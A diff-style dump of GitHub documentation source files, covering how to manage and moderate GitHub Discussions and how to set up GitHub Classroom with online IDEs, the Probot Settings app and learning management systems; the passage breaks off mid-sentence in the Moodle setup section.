/discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**.  1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."  1. Click **Create**.  ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}.  1. {% data reusables.discussions.edit-category-details %}  1. Click **Save changes**.  ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.  1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.  1. Click **Delete & Move**.  108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.  1. Optionally, customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  1. Customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.  1. Read the warning, then click **Unpin discussion**.  ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**.  1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to.  1. Click **Transfer discussion**.  ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.  1. Read the warning, then click **Delete this discussion**.  ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock.  1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.  1. Under "Features", click **Set up discussions**.  1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**.  ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.  ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar.  For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization.  ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.  1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.  ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data 